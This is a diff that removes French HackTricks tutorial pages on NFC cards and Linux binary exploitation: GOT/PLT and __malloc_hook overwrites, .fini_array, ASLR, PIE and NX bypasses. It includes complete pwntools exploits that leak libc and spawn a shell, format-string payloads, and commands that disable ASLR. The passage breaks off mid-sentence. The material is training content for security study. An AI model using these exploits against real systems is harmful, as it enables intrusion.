- -Pour simplifier, l'architecture de NFC fonctionne comme suit : le protocole de transmission est choisi par l'entreprise fabriquant les cartes et mis en œuvre sur la base de l'ISO 14443 de bas niveau. Par exemple, NXP a inventé son propre protocole de transmission de haut niveau appelé Mifare. Mais à un niveau inférieur, les cartes Mifare sont basées sur la norme ISO 14443-A. - -Flipper peut interagir à la fois avec le protocole ISO 14443 de bas niveau, ainsi qu'avec le protocole de transfert de données Mifare Ultralight et EMV utilisé dans les cartes bancaires. Nous travaillons à l'ajout de la prise en charge de Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et des normes qui composent NFC mérite un article séparé que nous prévoyons de publier plus tard. - -Toutes les cartes à haute fréquence basées sur la norme ISO 14443-A ont un identifiant de puce unique. Il agit comme le numéro de série de la carte, comme l'adresse MAC d'une carte réseau. **En général, l'UID fait 4 ou 7 octets de long**, mais peut rarement atteindre **jusqu'à 10**. Les UIDs ne sont pas secrets et sont facilement lisibles, **parfois même imprimés sur la carte elle-même**. - -Il existe de nombreux systèmes de contrôle d'accès qui s'appuient sur l'UID pour **authentifier et accorder l'accès**. Parfois, cela se produit **même** lorsque les étiquettes RFID **supportent la cryptographie**. Une telle **mauvaise utilisation** les ramène au niveau des **cartes 125 kHz** en termes de **sécurité**. Les cartes virtuelles (comme Apple Pay) utilisent un UID dynamique afin que les propriétaires de téléphones ne puissent pas ouvrir des portes avec leur application de paiement. - -- **Faible portée** — les cartes à haute fréquence sont spécifiquement conçues pour être placées près du lecteur. Cela aide également à protéger la carte des interactions non autorisées. La portée de lecture maximale que nous avons réussi à atteindre était d'environ 15 cm, et c'était avec des lecteurs de haute portée sur mesure. -- **Protocoles avancés** — des vitesses de transfert de données allant jusqu'à 424 kbps permettent des protocoles complexes avec un transfert de données bidirectionnel complet. Ce qui à son tour **permet la cryptographie**, le transfert de données, etc. -- **Haute sécurité** — les cartes sans contact à haute fréquence ne sont en aucun cas inférieures aux cartes intelligentes. Il existe des cartes qui supportent des algorithmes cryptographiquement forts comme AES et mettent en œuvre la cryptographie asymétrique. - -### Attaque - -Vous pouvez **attaquer ces étiquettes avec le Flipper Zero** : - -{{#ref}} -../todo/radio-hacking/flipper-zero/fz-nfc.md -{{#endref}} - -Ou en utilisant le **proxmark** : - -{{#ref}} -../todo/radio-hacking/proxmark-3.md -{{#endref}} - -## Références - -- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md deleted file mode 100644 index 4a17f1251..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md +++ /dev/null @@ -1 +0,0 @@ -# Écriture Arbitraire 2 Exécution diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md deleted file mode 100644 index fe0134928..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ /dev/null @@ -1,25 +0,0 @@ -# AW2Exec - \_\_malloc_hook - -{{#include ../../../banners/hacktricks-training.md}} - -## **Malloc Hook** - -Comme vous pouvez le voir sur [le site officiel de GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** est un pointeur pointant vers **l'adresse d'une fonction qui sera appelée** chaque fois que `malloc()` est appelée **stockée dans la section de données de la bibliothèque libc**. Par conséquent, si cette adresse est écrasée avec un **One Gadget** par exemple et que `malloc` est appelé, le **One Gadget sera appelé**. - -Pour appeler malloc, il est possible d'attendre que le programme l'appelle ou en **appelant `printf("%10000$c")`** qui alloue trop de bytes, ce qui fait que `libc` appelle malloc pour les allouer dans le tas. - -Plus d'infos sur One Gadget dans : - -{{#ref}} -../one-gadget.md -{{#endref}} - -> [!CAUTION] -> Notez que les hooks sont **désactivés pour GLIBC >= 2.34**. Il existe d'autres techniques qui peuvent être utilisées sur les versions modernes de GLIBC. Voir [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). - -## Références - -- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) -- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md deleted file mode 100644 index 7f68d9b58..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md +++ /dev/null @@ -1,64 +0,0 @@ -# AW2Exec - GOT/PLT - -{{#include ../../../banners/hacktricks-training.md}} - -## **Informations de base** - -### **GOT : Table d'offset global** - -La **Table d'offset global (GOT)** est un mécanisme utilisé dans les binaires liés dynamiquement pour gérer les **adresses des fonctions externes**. Étant donné que ces **adresses ne sont pas connues avant l'exécution** (en raison du lien dynamique), la GOT fournit un moyen de **mettre à jour dynamiquement les adresses de ces symboles externes** une fois qu'elles sont résolues. - -Chaque entrée dans la GOT correspond à un symbole dans les bibliothèques externes que le binaire peut appeler. Lorsqu'une **fonction est appelée pour la première fois, son adresse réelle est résolue par le lieur dynamique et stockée dans la GOT**. Les appels suivants à la même fonction utilisent l'adresse stockée dans la GOT, évitant ainsi le surcoût de la résolution de l'adresse à nouveau. - -### **PLT : Table de liaison de procédure** - -La **Table de liaison de procédure (PLT)** fonctionne en étroite collaboration avec la GOT et sert de trampoline pour gérer les appels aux fonctions externes. Lorsqu'un binaire **appelle une fonction externe pour la première fois, le contrôle est transféré à une entrée dans la PLT associée à cette fonction**. Cette entrée PLT est responsable d'invoquer le lieur dynamique pour résoudre l'adresse de la fonction si elle n'a pas déjà été résolue. Après que l'adresse soit résolue, elle est stockée dans la GOT. - -**Par conséquent,** les entrées de la GOT sont utilisées directement une fois que l'adresse d'une fonction ou d'une variable externe est résolue. **Les entrées de la PLT sont utilisées pour faciliter la résolution initiale** de ces adresses via le lieur dynamique. - -## Obtenir l'exécution - -### Vérifier la GOT - -Obtenez l'adresse de la table GOT avec : **`objdump -s -j .got ./exec`** - -![](<../../../images/image (619).png>) - -Observez comment après **le chargement** de l'**exécutable** dans GEF, vous pouvez **voir** les **fonctions** qui se trouvent dans la **GOT** : `gef➤ x/20x 0xADDR_GOT` - -![](<../../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) - -En utilisant GEF, vous pouvez **démarrer** une session de **débogage** et exécuter **`got`** pour voir la table got : - -![](<../../../images/image (621).png>) - -### GOT2Exec - -Dans un binaire, la GOT contient les **adresses des fonctions ou** de la **section PLT** qui chargera l'adresse de la fonction. L'objectif de cette écriture arbitraire est de **remplacer une entrée de la GOT** d'une fonction qui sera exécutée plus tard **avec** l'**adresse** de la PLT de la **fonction** **`system`** par exemple. - -Idéalement, vous allez **remplacer** la **GOT** d'une **fonction** qui est **sur le point d'être appelée avec des paramètres contrôlés par vous** (vous pourrez ainsi contrôler les paramètres envoyés à la fonction système). - -Si **`system`** **n'est pas utilisé** par le script, la fonction système **n'aura pas** d'entrée dans la PLT. Dans ce scénario, vous devrez **d'abord obtenir l'adresse** de la fonction `system` et ensuite remplacer la GOT pour pointer vers cette adresse. - -Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`** - -## **One Gadget** - -{{#ref}} -../one-gadget.md -{{#endref}} - -## **Protections** - -La protection **Full RELRO** est conçue pour protéger contre ce type de technique en résolvant toutes les adresses des fonctions lorsque le binaire est démarré et en rendant la **table GOT en lecture seule** après cela : - -{{#ref}} -../common-binary-protections-and-bypasses/relro.md -{{#endref}} - -## Références - -- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) -- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md deleted file mode 100644 index 5263a49b2..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aws2exec-.dtors-and-.fini_array.md +++ /dev/null @@ -1,41 +0,0 @@ -# AWS2Exec - .dtors & .fini_array - -{{#include ../../../banners/hacktricks-training.md}} - -## .dtors - -> [!CAUTION] -> De nos jours, il est très **bizarre de trouver un binaire avec une section .dtors**. - -Les destructeurs sont des fonctions qui sont **exécutées avant la fin du programme** (après le retour de la fonction `main`).\ -Les adresses de ces fonctions sont stockées dans la section **`.dtors`** du binaire et donc, si vous parvenez à **écrire** l'**adresse** dans un **shellcode** dans **`__DTOR_END__`**, cela sera **exécuté** avant la fin des programmes. - -Obtenez l'adresse de cette section avec : -```bash -objdump -s -j .dtors /exec -rabin -s /exec | grep “__DTOR” -``` -Vous trouverez généralement les marqueurs **DTOR** **entre** les valeurs `ffffffff` et `00000000`. Donc, si vous voyez juste ces valeurs, cela signifie qu'il **n'y a pas de fonction enregistrée**. Donc, **écrasez** le **`00000000`** avec l'**adresse** du **shellcode** pour l'exécuter. - -> [!WARNING] -> Bien sûr, vous devez d'abord trouver un **endroit pour stocker le shellcode** afin de pouvoir l'appeler plus tard. - -## **.fini_array** - -Essentiellement, il s'agit d'une structure avec des **fonctions qui seront appelées** avant que le programme ne se termine, comme **`.dtors`**. C'est intéressant si vous pouvez appeler votre **shellcode simplement en sautant à une adresse**, ou dans les cas où vous devez revenir à **`main`** à nouveau pour **exploiter la vulnérabilité une deuxième fois**. -```bash -objdump -s -j .fini_array ./greeting - -./greeting: file format elf32-i386 - -Contents of section .fini_array: -8049934 a0850408 - -#Put your address in 0x8049934 -``` -Notez que cela **ne** **créera** **pas** une **boucle éternelle** car lorsque vous revenez à main, le canari le remarquera, la fin de la pile pourrait être corrompue et la fonction ne sera pas rappelée à nouveau. Ainsi, avec cela, vous pourrez **avoir 1 exécution de plus** de la vulnérabilité. - -> [!CAUTION] -> Notez qu'avec [Full RELRO](../common-binary-protections-and-bypasses/relro.md), la section `.fini_array` est rendue **en lecture seule**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md deleted file mode 100644 index 8c1ad75d6..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md +++ /dev/null @@ -1,29 +0,0 @@ -# Protections Binaires Courantes - -{{#include ../../../banners/hacktricks-training.md}} - -## Activer les fichiers Core - -**Les fichiers Core** sont un type de fichier généré par un système d'exploitation lorsqu'un processus plante. Ces fichiers capturent l'image mémoire du processus planté au moment de sa terminaison, y compris la mémoire du processus, les registres et l'état du compteur de programme, entre autres détails. Ce snapshot peut être extrêmement précieux pour le débogage et la compréhension des raisons du plantage. - -### **Activation de la Génération de Fichiers Core** - -Par défaut, de nombreux systèmes limitent la taille des fichiers core à 0 (c'est-à-dire qu'ils ne génèrent pas de fichiers core) pour économiser de l'espace disque. Pour activer la génération de fichiers core, vous pouvez utiliser la commande `ulimit` (dans bash ou des shells similaires) ou configurer des paramètres à l'échelle du système. - -- **Utilisation de ulimit** : La commande `ulimit -c unlimited` permet à la session shell actuelle de créer des fichiers core de taille illimitée. Cela est utile pour les sessions de débogage mais n'est pas persistant entre les redémarrages ou les nouvelles sessions. -```bash -ulimit -c unlimited -``` -- **Configuration Persistante** : Pour une solution plus permanente, vous pouvez modifier le fichier `/etc/security/limits.conf` pour inclure une ligne comme `* soft core unlimited`, ce qui permet à tous les utilisateurs de générer des fichiers core de taille illimitée sans avoir à définir ulimit manuellement dans leurs sessions. -```markdown -- soft core unlimited -``` -### **Analyse des fichiers de core avec GDB** - -Pour analyser un fichier de core, vous pouvez utiliser des outils de débogage comme GDB (le débogueur GNU). En supposant que vous ayez un exécutable qui a produit un vidage de core et que le fichier de core soit nommé `core_file`, vous pouvez commencer l'analyse avec : -```bash -gdb /path/to/executable /path/to/core_file -``` -Cette commande charge l'exécutable et le fichier core dans GDB, vous permettant d'inspecter l'état du programme au moment du crash. Vous pouvez utiliser les commandes GDB pour explorer la pile, examiner les variables et comprendre la cause du crash. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md deleted file mode 100644 index 386240a3f..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md +++ /dev/null @@ -1,157 +0,0 @@ -# ASLR - -{{#include ../../../../banners/hacktricks-training.md}} - -## Informations de base - -**Address Space Layout Randomization (ASLR)** est une technique de sécurité utilisée dans les systèmes d'exploitation pour **randomiser les adresses mémoire** utilisées par les processus système et d'application. Ce faisant, cela rend beaucoup plus difficile pour un attaquant de prédire l'emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, atténuant ainsi certains types d'exploits, en particulier les débordements de tampon. - -### **Vérification de l'état d'ASLR** - -Pour **vérifier** l'état d'ASLR sur un système Linux, vous pouvez lire la valeur dans le fichier `/proc/sys/kernel/randomize_va_space`. La valeur stockée dans ce fichier détermine le type d'ASLR appliqué : - -- **0** : Pas de randomisation. Tout est statique. -- **1** : Randomisation conservatrice. Les bibliothèques partagées, la pile, mmap(), la page VDSO sont randomisées. -- **2** : Randomisation complète. En plus des éléments randomisés par la randomisation conservatrice, la mémoire gérée par `brk()` est randomisée. - -Vous pouvez vérifier l'état d'ASLR avec la commande suivante : -```bash -cat /proc/sys/kernel/randomize_va_space -``` -### **Désactiver ASLR** - -Pour **désactiver** ASLR, vous devez définir la valeur de `/proc/sys/kernel/randomize_va_space` à **0**. Désactiver ASLR n'est généralement pas recommandé en dehors des scénarios de test ou de débogage. Voici comment vous pouvez le désactiver : -```bash -echo 0 | sudo tee /proc/sys/kernel/randomize_va_space -``` -Vous pouvez également désactiver ASLR pour une exécution avec : -```bash -setarch `arch` -R ./bin args -setarch `uname -m` -R ./bin args -``` -### **Activation de l'ASLR** - -Pour **activer** l'ASLR, vous pouvez écrire une valeur de **2** dans le fichier `/proc/sys/kernel/randomize_va_space`. Cela nécessite généralement des privilèges root. L'activation de la randomisation complète peut être effectuée avec la commande suivante : -```bash -echo 2 | sudo tee /proc/sys/kernel/randomize_va_space -``` -### **Persistance à Travers les Redémarrages** - -Les modifications apportées avec les commandes `echo` sont temporaires et seront réinitialisées lors du redémarrage. Pour rendre la modification persistante, vous devez éditer le fichier `/etc/sysctl.conf` et ajouter ou modifier la ligne suivante : -```tsconfig -kernel.randomize_va_space=2 # Enable ASLR -# or -kernel.randomize_va_space=0 # Disable ASLR -``` -Après avoir modifié `/etc/sysctl.conf`, appliquez les changements avec : -```bash -sudo sysctl -p -``` -Cela garantira que vos paramètres ASLR restent après les redémarrages. - -## **Contournements** - -### Force brute 32 bits - -PaX divise l'espace d'adresses du processus en **3 groupes** : - -- **Code et données** (initialisées et non initialisées) : `.text`, `.data`, et `.bss` —> **16 bits** d'entropie dans la variable `delta_exec`. Cette variable est initialisée aléatoirement avec chaque processus et ajoutée aux adresses initiales. -- **Mémoire** allouée par `mmap()` et **bibliothèques partagées** —> **16 bits**, nommée `delta_mmap`. -- **La pile** —> **24 bits**, appelée `delta_stack`. Cependant, elle utilise effectivement **11 bits** (du 10ème au 20ème octet inclus), alignés sur **16 octets** —> Cela donne **524,288 adresses de pile réelles possibles**. - -Les données précédentes concernent les systèmes 32 bits et l'entropie finale réduite permet de contourner l'ASLR en réessayant l'exécution encore et encore jusqu'à ce que l'exploit réussisse. - -#### Idées de force brute : - -- Si vous avez un débordement suffisamment grand pour accueillir un **grand NOP sled avant le shellcode**, vous pourriez simplement forcer les adresses dans la pile jusqu'à ce que le flux **saute par-dessus une partie du NOP sled**. -- Une autre option dans ce cas où le débordement n'est pas si grand et que l'exploit peut être exécuté localement est de **ajouter le NOP sled et le shellcode dans une variable d'environnement**. -- Si l'exploit est local, vous pouvez essayer de forcer l'adresse de base de libc (utile pour les systèmes 32 bits) : -```python -for off in range(0xb7000000, 0xb8000000, 0x1000): -``` -- Si vous attaquez un serveur distant, vous pourriez essayer de **brute-forcer l'adresse de la fonction `libc` `usleep`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10s de plus à répondre**, vous avez trouvé l'adresse de cette fonction. - -> [!TIP] -> Dans les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela n'est pas possible. - -### Informations Locales (`/proc/[pid]/stat`) - -Le fichier **`/proc/[pid]/stat`** d'un processus est toujours lisible par tout le monde et il **contient des informations intéressantes** telles que : - -- **startcode** & **endcode** : Adresses au-dessus et en dessous avec le **TEXT** du binaire -- **startstack** : L'adresse du début de la **pile** -- **start_data** & **end_data** : Adresses au-dessus et en dessous où se trouve le **BSS** -- **kstkesp** & **kstkeip** : Adresses actuelles **ESP** et **EIP** -- **arg_start** & **arg_end** : Adresses au-dessus et en dessous où se trouvent les **arguments cli**. -- **env_start** & **env_end** : Adresses au-dessus et en dessous où se trouvent les **variables d'environnement**. - -Par conséquent, si l'attaquant est sur le même ordinateur que le binaire exploité et que ce binaire ne s'attend pas à un débordement d'arguments bruts, mais d'une **entrée différente qui peut être fabriquée après avoir lu ce fichier**. Il est possible pour un attaquant de **récupérer certaines adresses de ce fichier et de construire des décalages à partir de celles-ci pour l'exploitation**. - -> [!TIP] -> Pour plus d'infos sur ce fichier, consultez [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en recherchant `/proc/pid/stat` - -### Avoir une fuite - -- **Le défi est de donner une fuite** - -Si vous recevez une fuite (défis CTF faciles), vous pouvez calculer des décalages à partir de celle-ci (en supposant par exemple que vous connaissez la version exacte de libc utilisée dans le système que vous exploitez). Cet exemple d'exploitation est extrait de [**l'exemple d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consultez cette page pour plus de détails) : -```python -from pwn import * - -elf = context.binary = ELF('./vuln-32') -libc = elf.libc -p = process() - -p.recvuntil('at: ') -system_leak = int(p.recvline(), 16) - -libc.address = system_leak - libc.sym['system'] -log.success(f'LIBC base: {hex(libc.address)}') - -payload = flat( -'A' * 32, -libc.sym['system'], -0x0, # return address -next(libc.search(b'/bin/sh')) -) - -p.sendline(payload) - -p.interactive() -``` -- **ret2plt** - -En abusant d'un débordement de tampon, il serait possible d'exploiter un **ret2plt** pour exfiltrer une adresse d'une fonction de la libc. Vérifiez : - -{{#ref}} -ret2plt.md -{{#endref}} - -- **Format Strings Arbitrary Read** - -Tout comme dans ret2plt, si vous avez une lecture arbitraire via une vulnérabilité de chaînes de format, il est possible d'exfiltrer l'adresse d'une **fonction libc** à partir du GOT. L'exemple suivant [**est tiré d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got) : -```python -payload = p32(elf.got['puts']) # p64() if 64-bit -payload += b'|' -payload += b'%3$s' # The third parameter points at the start of the buffer - -# this part is only relevant if you need to call the main function again - -payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer -payload += p32(elf.symbols['main']) -``` -Vous pouvez trouver plus d'infos sur la lecture arbitraire des chaînes de format dans : - -{{#ref}} -../../format-strings/ -{{#endref}} - -### Ret2ret & Ret2pop - -Essayez de contourner l'ASLR en abusant des adresses à l'intérieur de la pile : - -{{#ref}} -../../stack-overflow/ret2ret.md -{{#endref}} - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md deleted file mode 100644 index a4ca5cc54..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ /dev/null @@ -1,78 +0,0 @@ -# Ret2plt - -{{#include ../../../../banners/hacktricks-training.md}} - -## Informations de base - -L'objectif de cette technique serait de **fuiter une adresse d'une fonction du PLT** afin de pouvoir contourner l'ASLR. En effet, si, par exemple, vous fuites l'adresse de la fonction `puts` de la libc, vous pouvez alors **calculer où se trouve la base de `libc`** et calculer des décalages pour accéder à d'autres fonctions telles que **`system`**. - -Cela peut être fait avec un payload `pwntools` tel que ([**d'ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)): -```python -# 32-bit ret2plt -payload = flat( -b'A' * padding, -elf.plt['puts'], -elf.symbols['main'], -elf.got['puts'] -) - -# 64-bit -payload = flat( -b'A' * padding, -POP_RDI, -elf.got['puts'] -elf.plt['puts'], -elf.symbols['main'] -) -``` -Notez comment **`puts`** (utilisant l'adresse du PLT) est appelé avec l'adresse de `puts` située dans le GOT (Global Offset Table). Cela est dû au fait qu'au moment où `puts` imprime l'entrée du GOT de `puts`, cette **entrée contiendra l'adresse exacte de `puts` en mémoire**. - -Notez également comment l'adresse de `main` est utilisée dans l'exploit, de sorte que lorsque `puts` termine son exécution, le **binaire appelle à nouveau `main` au lieu de sortir** (de sorte que l'adresse divulguée continuera d'être valide). - -> [!CAUTION] -> Notez comment, pour que cela fonctionne, le **binaire ne peut pas être compilé avec PIE** ou vous devez avoir **trouvé une fuite pour contourner PIE** afin de connaître l'adresse du PLT, du GOT et de `main`. Sinon, vous devez d'abord contourner PIE. - -Vous pouvez trouver un [**exemple complet de ce contournement ici**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). C'était l'exploit final de cet exemple : -```python -from pwn import * - -elf = context.binary = ELF('./vuln-32') -libc = elf.libc -p = process() - -p.recvline() - -payload = flat( -'A' * 32, -elf.plt['puts'], -elf.sym['main'], -elf.got['puts'] -) - -p.sendline(payload) - -puts_leak = u32(p.recv(4)) -p.recvlines(2) - -libc.address = puts_leak - libc.sym['puts'] -log.success(f'LIBC base: {hex(libc.address)}') - -payload = flat( -'A' * 32, -libc.sym['system'], -libc.sym['exit'], -next(libc.search(b'/bin/sh\x00')) -) - -p.sendline(payload) - -p.interactive() -``` -## Autres exemples & Références - -- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'au byte 0x00 du canary pour ensuite appeler puts et leaker. Avec le canary, un gadget ROP est créé pour appeler puts afin de leak l'adresse de puts depuis le GOT et ensuite un gadget ROP pour appeler `system('/bin/sh')` -- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bits, ASLR activé, pas de canary, débordement de pile dans main depuis une fonction enfant. Gadget ROP pour appeler puts afin de leak l'adresse de puts depuis le GOT et ensuite appeler un gadget unique. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md deleted file mode 100644 index a040180d4..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md +++ /dev/null @@ -1,16 +0,0 @@ -# No-exec / NX - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -Le bit **No-Execute (NX)**, également connu sous le nom de **Execute Disable (XD)** dans la terminologie Intel, est une fonctionnalité de sécurité basée sur le matériel conçue pour **atténuer** les effets des attaques par **débordement de tampon**. Lorsqu'il est mis en œuvre et activé, il fait la distinction entre les régions de mémoire destinées au **code exécutable** et celles destinées aux **données**, telles que la **pile** et le **tas**. L'idée principale est d'empêcher un attaquant d'exécuter du code malveillant via des vulnérabilités de débordement de tampon en plaçant le code malveillant dans la pile par exemple et en dirigeant le flux d'exécution vers celui-ci. - -## Contournements - -- Il est possible d'utiliser des techniques telles que [**ROP**](../stack-overflow/rop-return-oriented-programing.md) pour contourner cette protection en exécutant des morceaux de code exécutable déjà présents dans le binaire. -- [**Ret2libc**](../stack-overflow/ret2lib/index.html) -- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md) -- **Ret2...** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md deleted file mode 100644 index 52c1ec9e7..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md +++ /dev/null @@ -1,32 +0,0 @@ -# PIE - -{{#include ../../../../banners/hacktricks-training.md}} - -## Informations de base - -Un binaire compilé en tant que PIE, ou **Position Independent Executable**, signifie que le **programme peut se charger à différents emplacements mémoire** chaque fois qu'il est exécuté, empêchant les adresses codées en dur. - -Le truc pour exploiter ces binaires réside dans l'exploitation des **adresses relatives**—les décalages entre les parties du programme restent les mêmes même si les emplacements absolus changent. Pour **contourner PIE, vous devez seulement divulguer une adresse**, généralement depuis la **pile** en utilisant des vulnérabilités comme les attaques par chaîne de format. Une fois que vous avez une adresse, vous pouvez calculer d'autres par leurs **décalages fixes**. - -Un indice utile pour exploiter les binaires PIE est que leur **adresse de base se termine généralement par 000** en raison des pages mémoire étant les unités de randomisation, de taille 0x1000 octets. Cet alignement peut être un **vérification critique si une exploitation ne fonctionne pas** comme prévu, indiquant si la bonne adresse de base a été identifiée.\ -Ou vous pouvez utiliser cela pour votre exploitation, si vous divulguez qu'une adresse est située à **`0x649e1024`**, vous savez que l'**adresse de base est `0x649e1000`** et à partir de là, vous pouvez simplement **calculer les décalages** des fonctions et des emplacements. - -## Contournements - -Pour contourner PIE, il est nécessaire de **divulguer une adresse du binaire chargé**, il existe plusieurs options pour cela : - -- **ASLR désactivé** : Si ASLR est désactivé, un binaire compilé avec PIE est toujours **chargé à la même adresse**, donc **PIE va être inutile** car les adresses des objets seront toujours au même endroit. -- Recevoir la **divulgation** (commun dans les défis CTF faciles, [**vérifiez cet exemple**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- **Brute-forcer les valeurs EBP et EIP** dans la pile jusqu'à ce que vous divulguiez les bonnes : - -{{#ref}} -bypassing-canary-and-pie.md -{{#endref}} - -- Utiliser une vulnérabilité de lecture arbitraire telle que [**chaîne de format**](../../format-strings/index.html) pour divulguer une adresse du binaire (par exemple, depuis la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). - -## Références - -- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md deleted file mode 100644 index 1718bedc2..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md +++ /dev/null @@ -1,84 +0,0 @@ -# Adresses BF dans la pile - -{{#include ../../../../banners/hacktricks-training.md}} - -**Si vous êtes confronté à un binaire protégé par un canary et un PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.** - -![](<../../../../images/image (144).png>) - -> [!NOTE] -> Notez que **`checksec`** pourrait ne pas détecter qu'un binaire est protégé par un canary si celui-ci a été compilé statiquement et qu'il n'est pas capable d'identifier la fonction.\ -> Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie. - -## Adresses par Brute-Force - -Pour contourner le PIE, vous devez **fuiter une adresse**. Et si le binaire ne fuit aucune adresse, le mieux à faire est de **brute-forcer le RBP et le RIP enregistrés dans la pile** dans la fonction vulnérable.\ -Par exemple, si un binaire est protégé à la fois par un **canary** et un **PIE**, vous pouvez commencer par brute-forcer le canary, puis les **8 octets suivants** (x64) seront le **RBP** enregistré et les **8 octets suivants** seront le **RIP** enregistré. - -> [!TIP] -> On 